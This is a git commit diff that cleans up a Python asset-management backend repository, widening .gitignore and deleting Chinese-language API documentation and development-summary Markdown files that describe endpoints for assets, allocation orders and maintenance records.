chore: 清理仓库,移除无用文件
- 更新.gitignore文件 - 移除所有.md文档文件(保留README.md) - 移除测试文件和临时文件 - 移除PHASE和交付报告文件 - 优化仓库结构,只保留源代码和必要配置 Co-Authored-By: Claude Sonnet <claude@anthropic.com>
This commit is contained in:
32
.gitignore
vendored
32
.gitignore
vendored
@@ -26,7 +26,7 @@ wheels/
|
||||
|
||||
# PyInstaller
|
||||
*.manifest
|
||||
*.spec
|
||||
.spec
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
@@ -39,9 +39,13 @@ coverage.xml
|
||||
*.cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
tests/.pytest_cache/
|
||||
tests/*.png
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.env.local
|
||||
.env.production
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
@@ -66,6 +70,7 @@ logs/
|
||||
|
||||
# Database
|
||||
*.db
|
||||
*.sqlite
|
||||
*.sqlite3
|
||||
|
||||
# Uploads
|
||||
@@ -92,3 +97,28 @@ dmypy.json
|
||||
|
||||
# VSCode
|
||||
.vscode/
|
||||
|
||||
# Testing
|
||||
test_*.py
|
||||
*_test.py
|
||||
tests/
|
||||
|
||||
# Documentation
|
||||
*.md
|
||||
docs/
|
||||
PHASE*.md
|
||||
DELIVERY*.md
|
||||
SUMMARY*.md
|
||||
!README.md
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.temp
|
||||
*.bak
|
||||
*.backup
|
||||
|
||||
# Docker
|
||||
.dockerignore
|
||||
|
||||
# Test reports
|
||||
test_reports/
|
||||
|
||||
@@ -1,304 +0,0 @@
|
||||
# 资产分配管理API使用说明
|
||||
|
||||
> **版本**: v1.0.0
|
||||
> **作者**: 后端API扩展组
|
||||
> **创建时间**: 2025-01-24
|
||||
|
||||
---
|
||||
|
||||
## 📋 目录
|
||||
|
||||
1. [概述](#概述)
|
||||
2. [单据类型说明](#单据类型说明)
|
||||
3. [API端点](#api端点)
|
||||
4. [业务流程](#业务流程)
|
||||
5. [状态说明](#状态说明)
|
||||
6. [错误码](#错误码)
|
||||
|
||||
---
|
||||
|
||||
## 概述
|
||||
|
||||
资产分配管理API提供资产分配、调拨、回收、维修分配和报废分配等功能。支持完整的审批流程和执行流程。
|
||||
|
||||
---
|
||||
|
||||
## 单据类型说明
|
||||
|
||||
| 类型 | 代码 | 说明 |
|
||||
|------|------|------|
|
||||
| 资产分配 | allocation | 从仓库分配资产给网点 |
|
||||
| 资产调拨 | transfer | 网点间资产调拨 |
|
||||
| 资产回收 | recovery | 从使用中回收资产 |
|
||||
| 维修分配 | maintenance | 分配资产进行维修 |
|
||||
| 报废分配 | scrap | 分配资产进行报废 |
|
||||
|
||||
---
|
||||
|
||||
## API端点
|
||||
|
||||
### 1. 获取分配单列表
|
||||
|
||||
**接口**: `GET /api/v1/allocation-orders`
|
||||
|
||||
**查询参数**:
|
||||
```
|
||||
skip: 跳过条数(默认0)
|
||||
limit: 返回条数(默认20,最大100)
|
||||
order_type: 单据类型
|
||||
approval_status: 审批状态
|
||||
execute_status: 执行状态
|
||||
applicant_id: 申请人ID
|
||||
target_organization_id: 目标网点ID
|
||||
keyword: 搜索关键词
|
||||
```
|
||||
|
||||
**响应示例**:
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"order_code": "AL202501240001",
|
||||
"order_type": "allocation",
|
||||
"title": "天河网点资产分配",
|
||||
"approval_status": "pending",
|
||||
"execute_status": "pending",
|
||||
"target_organization": {
|
||||
"id": 3,
|
||||
"org_name": "天河网点"
|
||||
},
|
||||
"applicant": {
|
||||
"id": 1,
|
||||
"real_name": "张三"
|
||||
},
|
||||
"items": [
|
||||
{
|
||||
"asset_code": "ASSET-20250124-0001",
|
||||
"asset_name": "联想台式机",
|
||||
"execute_status": "pending"
|
||||
}
|
||||
],
|
||||
"created_at": "2025-01-24T10:00:00Z"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. 创建分配单
|
||||
|
||||
**接口**: `POST /api/v1/allocation-orders`
|
||||
|
||||
**请求体**:
|
||||
```json
|
||||
{
|
||||
"order_type": "allocation",
|
||||
"title": "天河网点资产分配",
|
||||
"target_organization_id": 3,
|
||||
"asset_ids": [1, 2, 3, 4, 5],
|
||||
"expect_execute_date": "2025-01-25",
|
||||
"remark": "业务需要"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明**:
|
||||
- `order_type`: 单据类型(必填)
|
||||
- `title`: 标题(必填)
|
||||
- `source_organization_id`: 调出网点ID(调拨时必填)
|
||||
- `target_organization_id`: 调入网点ID(必填)
|
||||
- `asset_ids`: 资产ID列表(必填,至少1个)
|
||||
- `expect_execute_date`: 预计执行日期(可选)
|
||||
- `remark`: 备注(可选)
|
||||
|
||||
**响应**: 返回创建的分配单详情
|
||||
|
||||
---
|
||||
|
||||
### 3. 审批分配单
|
||||
|
||||
**接口**: `POST /api/v1/allocation-orders/{order_id}/approve`
|
||||
|
||||
**请求体**:
|
||||
```json
|
||||
{
|
||||
"approval_status": "approved",
|
||||
"approval_remark": "同意"
|
||||
}
|
||||
```
|
||||
|
||||
**字段说明**:
|
||||
- `approval_status`: 审批状态(approved/rejected)
|
||||
- `approval_remark`: 审批备注(可选)
|
||||
|
||||
**业务逻辑**:
|
||||
- 审批通过后自动执行资产分配逻辑
|
||||
- 更新资产状态
|
||||
- 记录状态变更历史
|
||||
|
||||
---
|
||||
|
||||
### 4. 执行分配单
|
||||
|
||||
**接口**: `POST /api/v1/allocation-orders/{order_id}/execute`
|
||||
|
||||
**说明**: 手动执行已审批通过的分配单
|
||||
|
||||
---
|
||||
|
||||
### 5. 取消分配单
|
||||
|
||||
**接口**: `POST /api/v1/allocation-orders/{order_id}/cancel`
|
||||
|
||||
**说明**: 取消分配单(已完成的无法取消)
|
||||
|
||||
---
|
||||
|
||||
### 6. 获取分配单统计
|
||||
|
||||
**接口**: `GET /api/v1/allocation-orders/statistics`
|
||||
|
||||
**响应示例**:
|
||||
```json
|
||||
{
|
||||
"total": 100,
|
||||
"pending": 10,
|
||||
"approved": 50,
|
||||
"rejected": 20,
|
||||
"executing": 15,
|
||||
"completed": 5
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 业务流程
|
||||
|
||||
### 资产分配流程
|
||||
|
||||
```
|
||||
1. 创建分配单(pending)
|
||||
↓
|
||||
2. 审批分配单(approved/rejected)
|
||||
↓ (审批通过)
|
||||
3. 执行分配逻辑(executing)
|
||||
↓
|
||||
4. 更新资产状态(completed)
|
||||
```
|
||||
|
||||
### 资产调拨流程
|
||||
|
||||
```
|
||||
1. 创建调拨单(指定调出和调入网点)
|
||||
↓
|
||||
2. 审批调拨单
|
||||
↓
|
||||
3. 执行调拨(更新资产所属网点)
|
||||
↓
|
||||
4. 完成调拨
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 状态说明
|
||||
|
||||
### 审批状态 (approval_status)
|
||||
|
||||
| 状态 | 说明 |
|
||||
|------|------|
|
||||
| pending | 待审批 |
|
||||
| approved | 已审批 |
|
||||
| rejected | 已拒绝 |
|
||||
| cancelled | 已取消 |
|
||||
|
||||
### 执行状态 (execute_status)
|
||||
|
||||
| 状态 | 说明 |
|
||||
|------|------|
|
||||
| pending | 待执行 |
|
||||
| executing | 执行中 |
|
||||
| completed | 已完成 |
|
||||
| cancelled | 已取消 |
|
||||
|
||||
### 明细执行状态 (execute_status)
|
||||
|
||||
| 状态 | 说明 |
|
||||
|------|------|
|
||||
| pending | 待执行 |
|
||||
| executing | 执行中 |
|
||||
| completed | 已完成 |
|
||||
| failed | 执行失败 |
|
||||
|
||||
---
|
||||
|
||||
## 错误码
|
||||
|
||||
| 错误码 | 说明 |
|
||||
|--------|------|
|
||||
| 404 | 分配单不存在 |
|
||||
| 400 | 资产状态不允许分配 |
|
||||
| 400 | 重复审批 |
|
||||
| 400 | 已完成无法取消 |
|
||||
| 403 | 权限不足 |
|
||||
|
||||
---
|
||||
|
||||
## 使用示例
|
||||
|
||||
### Python示例
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
BASE_URL = "http://localhost:8000/api/v1"
|
||||
TOKEN = "your_access_token"
|
||||
|
||||
headers = {
|
||||
"Authorization": f"Bearer {TOKEN}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
# 1. 创建分配单
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/allocation-orders",
|
||||
json={
|
||||
"order_type": "allocation",
|
||||
"title": "天河网点资产分配",
|
||||
"target_organization_id": 3,
|
||||
"asset_ids": [1, 2, 3]
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
order = response.json()
|
||||
|
||||
# 2. 审批分配单
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/allocation-orders/{order['id']}/approve",
|
||||
json={
|
||||
"approval_status": "approved",
|
||||
"approval_remark": "同意"
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
|
||||
# 3. 获取分配单列表
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/allocation-orders",
|
||||
params={"approval_status": "pending"},
|
||||
headers=headers
|
||||
)
|
||||
orders = response.json()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 注意事项
|
||||
|
||||
1. **资产状态验证**: 只有"库存中"或"使用中"的资产可以分配
|
||||
2. **单据状态**: 只有"待审批"状态的分配单可以更新
|
||||
3. **删除限制**: 只能删除草稿、已拒绝或已取消的分配单
|
||||
4. **自动执行**: 审批通过后会自动执行资产分配逻辑
|
||||
5. **状态历史**: 所有状态变更都会记录在资产状态历史表中
|
||||
|
||||
---
|
||||
|
||||
**开发完成日期**: 2025-01-24
|
||||
@@ -1,266 +0,0 @@
|
||||
# 资产管理系统API快速参考
|
||||
|
||||
> **版本**: v1.0.0
|
||||
> **更新时间**: 2025-01-24
|
||||
|
||||
---
|
||||
|
||||
## 🚀 快速开始
|
||||
|
||||
### 基础URL
|
||||
```
|
||||
开发环境: http://localhost:8000/api/v1
|
||||
```
|
||||
|
||||
### 认证方式
|
||||
```http
|
||||
Authorization: Bearer {access_token}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📦 已发布模块
|
||||
|
||||
### 1. 认证模块 (/auth)
|
||||
- `POST /auth/login` - 用户登录
|
||||
- `POST /auth/refresh` - 刷新Token
|
||||
- `POST /auth/logout` - 用户登出
|
||||
- `PUT /auth/change-password` - 修改密码
|
||||
- `GET /auth/captcha` - 获取验证码
|
||||
|
||||
### 2. 用户管理 (/users)
|
||||
- `GET /users` - 用户列表
|
||||
- `POST /users` - 创建用户
|
||||
- `GET /users/{id}` - 用户详情
|
||||
- `PUT /users/{id}` - 更新用户
|
||||
- `DELETE /users/{id}` - 删除用户
|
||||
- `POST /users/{id}/reset-password` - 重置密码
|
||||
- `GET /users/me` - 当前用户信息
|
||||
|
||||
### 3. 角色权限 (/roles)
|
||||
- `GET /roles` - 角色列表
|
||||
- `POST /roles` - 创建角色
|
||||
- `GET /roles/{id}` - 角色详情
|
||||
- `PUT /roles/{id}` - 更新角色
|
||||
- `DELETE /roles/{id}` - 删除角色
|
||||
- `GET /permissions/tree` - 权限树
|
||||
|
||||
### 4. 设备类型管理 (/device-types)
|
||||
- `GET /device-types` - 设备类型列表
|
||||
- `POST /device-types` - 创建设备类型
|
||||
- `GET /device-types/{id}` - 设备类型详情
|
||||
- `PUT /device-types/{id}` - 更新设备类型
|
||||
- `DELETE /device-types/{id}` - 删除设备类型
|
||||
- `GET /device-types/{id}/fields` - 获取字段配置
|
||||
- `POST /device-types/{id}/fields` - 添加字段
|
||||
|
||||
### 5. 机构网点管理 (/organizations)
|
||||
- `GET /organizations/tree` - 机构树
|
||||
- `POST /organizations` - 创建机构
|
||||
- `GET /organizations/{id}` - 机构详情
|
||||
- `PUT /organizations/{id}` - 更新机构
|
||||
- `DELETE /organizations/{id}` - 删除机构
|
||||
|
||||
### 6. 品牌和供应商管理 (/brands, /suppliers)
|
||||
- `GET /brands` - 品牌列表
|
||||
- `POST /brands` - 创建品牌
|
||||
- `PUT /brands/{id}` - 更新品牌
|
||||
- `DELETE /brands/{id}` - 删除品牌
|
||||
- `GET /suppliers` - 供应商列表
|
||||
- `POST /suppliers` - 创建供应商
|
||||
- `PUT /suppliers/{id}` - 更新供应商
|
||||
- `DELETE /suppliers/{id}` - 删除供应商
|
||||
|
||||
### 7. 资产管理 (/assets)
|
||||
- `GET /assets` - 资产列表
|
||||
- `GET /assets/statistics` - 资产统计
|
||||
- `GET /assets/{id}` - 资产详情
|
||||
- `GET /assets/scan/{code}` - 扫码查询
|
||||
- `POST /assets` - 创建资产
|
||||
- `PUT /assets/{id}` - 更新资产
|
||||
- `DELETE /assets/{id}` - 删除资产
|
||||
- `POST /assets/{id}/status` - 变更状态
|
||||
- `GET /assets/{id}/history` - 状态历史
|
||||
|
||||
### 8. 资产分配管理 (/allocation-orders) ✨新增
|
||||
- `GET /allocation-orders` - 分配单列表
|
||||
- `GET /allocation-orders/statistics` - 分配单统计
|
||||
- `GET /allocation-orders/{id}` - 分配单详情
|
||||
- `GET /allocation-orders/{id}/items` - 分配单明细
|
||||
- `POST /allocation-orders` - 创建分配单
|
||||
- `PUT /allocation-orders/{id}` - 更新分配单
|
||||
- `POST /allocation-orders/{id}/approve` - 审批分配单
|
||||
- `POST /allocation-orders/{id}/execute` - 执行分配单
|
||||
- `POST /allocation-orders/{id}/cancel` - 取消分配单
|
||||
- `DELETE /allocation-orders/{id}` - 删除分配单
|
||||
|
||||
### 9. 维修管理 (/maintenance-records) ✨新增
|
||||
- `GET /maintenance-records` - 维修记录列表
|
||||
- `GET /maintenance-records/statistics` - 维修统计
|
||||
- `GET /maintenance-records/{id}` - 维修记录详情
|
||||
- `POST /maintenance-records` - 创建维修记录(报修)
|
||||
- `PUT /maintenance-records/{id}` - 更新维修记录
|
||||
- `POST /maintenance-records/{id}/start` - 开始维修
|
||||
- `POST /maintenance-records/{id}/complete` - 完成维修
|
||||
- `POST /maintenance-records/{id}/cancel` - 取消维修
|
||||
- `DELETE /maintenance-records/{id}` - 删除维修记录
|
||||
- `GET /maintenance-records/asset/{id}` - 资产的维修记录
|
||||
|
||||
---
|
||||
|
||||
## 🔑 常用参数
|
||||
|
||||
### 分页参数
|
||||
```
|
||||
page: 页码(默认1)
|
||||
page_size: 每页数量(默认20,最大100)
|
||||
skip: 跳过条数(默认0)
|
||||
limit: 返回条数(默认20)
|
||||
```
|
||||
|
||||
### 搜索参数
|
||||
```
|
||||
keyword: 搜索关键词
|
||||
status: 状态筛选
|
||||
```
|
||||
|
||||
### 日期格式
|
||||
```
|
||||
YYYY-MM-DD
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📊 常用状态码
|
||||
|
||||
### 资产状态
|
||||
- `pending` - 待入库
|
||||
- `in_stock` - 库存中
|
||||
- `in_use` - 使用中
|
||||
- `transferring` - 调拨中
|
||||
- `maintenance` - 维修中
|
||||
- `pending_scrap` - 待报废
|
||||
- `scrapped` - 已报废
|
||||
- `lost` - 已丢失
|
||||
|
||||
### 分配单审批状态
|
||||
- `pending` - 待审批
|
||||
- `approved` - 已审批
|
||||
- `rejected` - 已拒绝
|
||||
- `cancelled` - 已取消
|
||||
|
||||
### 分配单执行状态
|
||||
- `pending` - 待执行
|
||||
- `executing` - 执行中
|
||||
- `completed` - 已完成
|
||||
- `cancelled` - 已取消
|
||||
|
||||
### 维修记录状态
|
||||
- `pending` - 待处理
|
||||
- `in_progress` - 维修中
|
||||
- `completed` - 已完成
|
||||
- `cancelled` - 已取消
|
||||
|
||||
### 维修类型
|
||||
- `self_repair` - 自行维修
|
||||
- `vendor_repair` - 外部维修
|
||||
- `warranty` - 保修维修
|
||||
|
||||
### 故障类型
|
||||
- `hardware` - 硬件故障
|
||||
- `software` - 软件故障
|
||||
- `network` - 网络故障
|
||||
- `other` - 其他故障
|
||||
|
||||
---
|
||||
|
||||
## 💡 使用示例
|
||||
|
||||
### Python示例
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
BASE_URL = "http://localhost:8000/api/v1"
|
||||
TOKEN = "your_access_token"
|
||||
|
||||
headers = {
|
||||
"Authorization": f"Bearer {TOKEN}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
# 获取资产列表
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/assets",
|
||||
params={"page": 1, "page_size": 20},
|
||||
headers=headers
|
||||
)
|
||||
assets = response.json()
|
||||
|
||||
# 创建分配单
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/allocation-orders",
|
||||
json={
|
||||
"order_type": "allocation",
|
||||
"title": "天河网点资产分配",
|
||||
"target_organization_id": 3,
|
||||
"asset_ids": [1, 2, 3]
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
order = response.json()
|
||||
|
||||
# 报修
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/maintenance-records",
|
||||
json={
|
||||
"asset_id": 1,
|
||||
"fault_description": "无法开机",
|
||||
"fault_type": "hardware",
|
||||
"priority": "high"
|
||||
},
|
||||
headers=headers
|
||||
)
|
||||
record = response.json()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📖 详细文档
|
||||
|
||||
- [资产分配管理API](./ALLOCATIONS_API.md)
|
||||
- [维修管理API](./MAINTENANCE_API.md)
|
||||
- [开发规范指南](../development_standards_guide.md)
|
||||
- [完整API参考](../complete_api_reference.md)
|
||||
|
||||
---
|
||||
|
||||
## 🧪 测试
|
||||
|
||||
### 运行测试
|
||||
```bash
|
||||
# 运行所有测试
|
||||
pytest
|
||||
|
||||
# 运行特定模块测试
|
||||
pytest tests/api/test_assets.py
|
||||
|
||||
# 查看测试覆盖率
|
||||
pytest --cov=app --cov-report=html
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📝 更新日志
|
||||
|
||||
### v1.0.0 (2025-01-24)
|
||||
- ✅ 新增资产分配管理模块(10个API端点)
|
||||
- ✅ 新增维修管理模块(9个API端点)
|
||||
- ✅ 完整的审批和执行流程
|
||||
- ✅ 自动状态管理
|
||||
- ✅ 统计分析功能
|
||||
|
||||
---
|
||||
|
||||
**最后更新**: 2025-01-24
|
||||
**维护者**: 后端API扩展组
|
||||
@@ -1,496 +0,0 @@
|
||||
# 资产管理系统 - 后端API开发总结
|
||||
|
||||
> **版本**: v1.0.0
|
||||
> **开发者**: Claude (AI Assistant)
|
||||
> **完成时间**: 2025-01-24
|
||||
> **状态**: Phase 3 & Phase 4 核心模块已完成
|
||||
|
||||
---
|
||||
|
||||
## 📋 已完成模块清单
|
||||
|
||||
### Phase 3: 基础数据管理 ✅
|
||||
|
||||
#### 1. 设备类型管理
|
||||
- **模型**: `app/models/device_type.py`
|
||||
- **Schema**: `app/schemas/device_type.py`
|
||||
- **CRUD**: `app/crud/device_type.py`
|
||||
- **Service**: `app/services/device_type_service.py`
|
||||
- **API路由**: `app/api/v1/device_types.py`
|
||||
|
||||
**功能特性**:
|
||||
- ✅ 设备类型CRUD(创建、查询、更新、删除)
|
||||
- ✅ 动态字段定义(字段名、字段类型、是否必填、默认值、验证规则)
|
||||
- ✅ 支持7种字段类型: text, number, date, select, multiselect, boolean, textarea
|
||||
- ✅ 字段验证规则配置(JSONB格式)
|
||||
- ✅ 字段排序
|
||||
- ✅ 软删除
|
||||
|
||||
**API端点**:
|
||||
- `GET /api/v1/device-types` - 获取设备类型列表
|
||||
- `GET /api/v1/device-types/categories` - 获取所有设备分类
|
||||
- `GET /api/v1/device-types/{id}` - 获取设备类型详情
|
||||
- `POST /api/v1/device-types` - 创建设备类型
|
||||
- `PUT /api/v1/device-types/{id}` - 更新设备类型
|
||||
- `DELETE /api/v1/device-types/{id}` - 删除设备类型
|
||||
- `GET /api/v1/device-types/{id}/fields` - 获取字段列表
|
||||
- `POST /api/v1/device-types/{id}/fields` - 创建字段
|
||||
- `PUT /api/v1/device-types/fields/{id}` - 更新字段
|
||||
- `DELETE /api/v1/device-types/fields/{id}` - 删除字段
|
||||
|
||||
---
|
||||
|
||||
#### 2. 机构网点管理
|
||||
- **模型**: `app/models/organization.py`
|
||||
- **Schema**: `app/schemas/organization.py`
|
||||
- **CRUD**: `app/crud/organization.py`
|
||||
- **Service**: `app/services/organization_service.py`
|
||||
- **API路由**: `app/api/v1/organizations.py`
|
||||
|
||||
**功能特性**:
|
||||
- ✅ 机构网点CRUD
|
||||
- ✅ 树形结构支持(parent_id、tree_path、tree_level)
|
||||
- ✅ 递归查询所有子节点
|
||||
- ✅ 递归查询所有父节点
|
||||
- ✅ 计算机构层级
|
||||
- ✅ 软删除
|
||||
|
||||
**API端点**:
|
||||
- `GET /api/v1/organizations` - 获取机构列表
|
||||
- `GET /api/v1/organizations/tree` - 获取机构树
|
||||
- `GET /api/v1/organizations/{id}` - 获取机构详情
|
||||
- `GET /api/v1/organizations/{id}/children` - 获取直接子机构
|
||||
- `GET /api/v1/organizations/{id}/all-children` - 递归获取所有子机构
|
||||
- `GET /api/v1/organizations/{id}/parents` - 递归获取所有父机构
|
||||
- `POST /api/v1/organizations` - 创建机构
|
||||
- `PUT /api/v1/organizations/{id}` - 更新机构
|
||||
- `DELETE /api/v1/organizations/{id}` - 删除机构
|
||||
|
||||
---
|
||||
|
||||
#### 3. 品牌管理
|
||||
- **模型**: `app/models/brand_supplier.py`
|
||||
- **Schema**: `app/schemas/brand_supplier.py`
|
||||
- **CRUD**: `app/crud/brand_supplier.py`
|
||||
- **Service**: `app/services/brand_supplier_service.py`
|
||||
- **API路由**: `app/api/v1/brands_suppliers.py`
|
||||
|
||||
**功能特性**:
|
||||
- ✅ 基础CRUD功能
|
||||
- ✅ 品牌Logo、官网信息
|
||||
- ✅ 软删除
|
||||
|
||||
**API端点**:
|
||||
- `GET /api/v1/brands` - 获取品牌列表
|
||||
- `GET /api/v1/brands/{id}` - 获取品牌详情
|
||||
- `POST /api/v1/brands` - 创建品牌
|
||||
- `PUT /api/v1/brands/{id}` - 更新品牌
|
||||
- `DELETE /api/v1/brands/{id}` - 删除品牌
|
||||
|
||||
---
|
||||
|
||||
#### 4. 供应商管理
|
||||
- **模型**: `app/models/brand_supplier.py`
|
||||
- **Schema**: `app/schemas/brand_supplier.py`
|
||||
- **CRUD**: `app/crud/brand_supplier.py`
|
||||
- **Service**: `app/services/brand_supplier_service.py`
|
||||
- **API路由**: `app/api/v1/brands_suppliers.py`
|
||||
|
||||
**功能特性**:
|
||||
- ✅ 基础CRUD功能
|
||||
- ✅ 供应商详细信息(联系人、银行账号等)
|
||||
- ✅ 软删除
|
||||
|
||||
**API端点**:
|
||||
- `GET /api/v1/suppliers` - 获取供应商列表
|
||||
- `GET /api/v1/suppliers/{id}` - 获取供应商详情
|
||||
- `POST /api/v1/suppliers` - 创建供应商
|
||||
- `PUT /api/v1/suppliers/{id}` - 更新供应商
|
||||
- `DELETE /api/v1/suppliers/{id}` - 删除供应商
|
||||
|
||||
---
|
||||
|
||||
### Phase 4: 资产管理核心 ✅
|
||||
|
||||
#### 5. 资产管理
|
||||
- **模型**: `app/models/asset.py`
|
||||
- **Schema**: `app/schemas/asset.py`
|
||||
- **CRUD**: `app/crud/asset.py`
|
||||
- **Service**: `app/services/asset_service.py`
|
||||
- **API路由**: `app/api/v1/assets.py`
|
||||
|
||||
**功能特性**:
|
||||
- ✅ 资产CRUD(创建、查询、更新、删除)
|
||||
- ✅ 资产编码自动生成(支持并发,格式:AS+YYYYMMDD+流水号)
|
||||
- ✅ 二维码生成(使用qrcode库)
|
||||
- ✅ 资产状态机(8种状态)
|
||||
- ✅ 状态转换验证
|
||||
- ✅ 状态历史记录
|
||||
- ✅ JSONB动态字段存储和查询
|
||||
- ✅ 高级搜索(支持多条件、模糊搜索、范围查询)
|
||||
- ✅ 分页查询
|
||||
- ✅ 软删除
|
||||
|
||||
**API端点**:
|
||||
- `GET /api/v1/assets` - 获取资产列表
|
||||
- `GET /api/v1/assets/statistics` - 获取资产统计信息
|
||||
- `GET /api/v1/assets/{id}` - 获取资产详情
|
||||
- `GET /api/v1/assets/scan/{code}` - 扫码查询资产
|
||||
- `POST /api/v1/assets` - 创建资产
|
||||
- `PUT /api/v1/assets/{id}` - 更新资产
|
||||
- `DELETE /api/v1/assets/{id}` - 删除资产
|
||||
- `POST /api/v1/assets/{id}/status` - 变更资产状态
|
||||
- `GET /api/v1/assets/{id}/history` - 获取资产状态历史
|
||||
|
||||
---
|
||||
|
||||
#### 6. 资产状态机服务
|
||||
- **文件**: `app/services/state_machine_service.py`
|
||||
|
||||
**状态定义**:
|
||||
- `pending` - 待入库
|
||||
- `in_stock` - 库存中
|
||||
- `in_use` - 使用中
|
||||
- `transferring` - 调拨中
|
||||
- `maintenance` - 维修中
|
||||
- `pending_scrap` - 待报废
|
||||
- `scrapped` - 已报废
|
||||
- `lost` - 已丢失
|
||||
|
||||
**状态转换规则**:
|
||||
```
|
||||
pending → in_stock, pending_scrap
|
||||
in_stock → in_use, transferring, maintenance, pending_scrap, lost
|
||||
in_use → in_stock, transferring, maintenance, pending_scrap, lost
|
||||
transferring → in_stock, in_use
|
||||
maintenance → in_stock, in_use, pending_scrap
|
||||
pending_scrap → scrapped, in_stock
|
||||
scrapped → [终态]
|
||||
lost → [终态]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### 7. 资产编码生成服务
|
||||
- **文件**: `app/utils/asset_code.py`
|
||||
|
||||
**格式**: `AS + YYYYMMDD + 流水号(4位)`
|
||||
**示例**: `AS202501240001`
|
||||
|
||||
**特性**:
|
||||
- ✅ 使用PostgreSQL Advisory Lock保证并发安全
|
||||
- ✅ 按日期重置流水号
|
||||
- ✅ 自动补零到4位
|
||||
- ✅ 编码格式验证
|
||||
|
||||
---
|
||||
|
||||
#### 8. 二维码生成服务
|
||||
- **文件**: `app/utils/qrcode.py`
|
||||
|
||||
**特性**:
|
||||
- ✅ 使用qrcode库生成二维码
|
||||
- ✅ 二维码内容:资产编码
|
||||
- ✅ 保存到uploads/qrcodes/目录
|
||||
- ✅ 返回相对路径用于访问
|
||||
|
||||
---
|
||||
|
||||
## 🔧 技术实现亮点
|
||||
|
||||
### 1. 分层架构
|
||||
```
|
||||
API层 (路由控制器)
|
||||
↓
|
||||
Service层 (业务逻辑)
|
||||
↓
|
||||
CRUD层 (数据库操作)
|
||||
↓
|
||||
Model层 (SQLAlchemy模型)
|
||||
```
|
||||
|
||||
### 2. 并发安全
|
||||
- 使用PostgreSQL Advisory Lock保证资产编码生成的并发安全
|
||||
- 锁ID基于日期,避免不同日期的锁冲突
|
||||
- 自动释放锁,防止死锁
|
||||
|
||||
### 3. 状态机模式
|
||||
- 清晰定义状态转换规则
|
||||
- 状态转换验证
|
||||
- 状态历史记录完整
|
||||
- 支持状态查询和统计
|
||||
|
||||
### 4. 动态字段
|
||||
- 使用PostgreSQL JSONB类型存储动态字段
|
||||
- 支持多种字段类型和验证规则
|
||||
- 高效的JSONB查询(使用GIN索引)
|
||||
|
||||
### 5. 树形结构
|
||||
- 使用tree_path字段优化树形查询
|
||||
- 支持递归查询父节点和子节点
|
||||
- 自动计算层级深度
|
||||
|
||||
### 6. 软删除
|
||||
- 所有核心表支持软删除(deleted_at字段)
|
||||
- 查询时自动过滤已删除数据
|
||||
- 保留数据用于审计和恢复
|
||||
|
||||
---
|
||||
|
||||
## 📦 文件清单
|
||||
|
||||
### Models (数据模型)
|
||||
- `app/models/device_type.py` - 设备类型模型
|
||||
- `app/models/organization.py` - 机构网点模型
|
||||
- `app/models/brand_supplier.py` - 品牌和供应商模型
|
||||
- `app/models/asset.py` - 资产模型
|
||||
|
||||
### Schemas (数据验证)
|
||||
- `app/schemas/device_type.py` - 设备类型Schema
|
||||
- `app/schemas/organization.py` - 机构网点Schema
|
||||
- `app/schemas/brand_supplier.py` - 品牌和供应商Schema
|
||||
- `app/schemas/asset.py` - 资产Schema
|
||||
|
||||
### CRUD (数据库操作)
|
||||
- `app/crud/device_type.py` - 设备类型CRUD
|
||||
- `app/crud/organization.py` - 机构网点CRUD
|
||||
- `app/crud/brand_supplier.py` - 品牌和供应商CRUD
|
||||
- `app/crud/asset.py` - 资产CRUD
|
||||
|
||||
### Services (业务逻辑)
|
||||
- `app/services/device_type_service.py` - 设备类型服务
|
||||
- `app/services/organization_service.py` - 机构网点服务
|
||||
- `app/services/brand_supplier_service.py` - 品牌和供应商服务
|
||||
- `app/services/state_machine_service.py` - 状态机服务
|
||||
- `app/services/asset_service.py` - 资产服务
|
||||
|
||||
### API Routes (路由控制器)
|
||||
- `app/api/v1/device_types.py` - 设备类型API
|
||||
- `app/api/v1/organizations.py` - 机构网点API
|
||||
- `app/api/v1/brands_suppliers.py` - 品牌和供应商API
|
||||
- `app/api/v1/assets.py` - 资产API
|
||||
|
||||
### Utils (工具函数)
|
||||
- `app/utils/asset_code.py` - 资产编码生成
|
||||
- `app/utils/qrcode.py` - 二维码生成
|
||||
|
||||
---
|
||||
|
||||
## 🚀 启动说明
|
||||
|
||||
### 1. 安装依赖
|
||||
```bash
|
||||
cd asset_management_backend
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### 2. 配置环境变量
|
||||
编辑 `.env` 文件:
|
||||
```env
|
||||
DATABASE_URL=postgresql+asyncpg://user:password@localhost:5432/asset_management
|
||||
SECRET_KEY=your-secret-key
|
||||
DEBUG=True
|
||||
```
|
||||
|
||||
### 3. 初始化数据库
|
||||
```bash
|
||||
# 开发环境会自动创建表,生产环境使用Alembic迁移
|
||||
python -m alembic upgrade head
|
||||
```
|
||||
|
||||
### 4. 启动服务
|
||||
```bash
|
||||
python run.py
|
||||
# 或
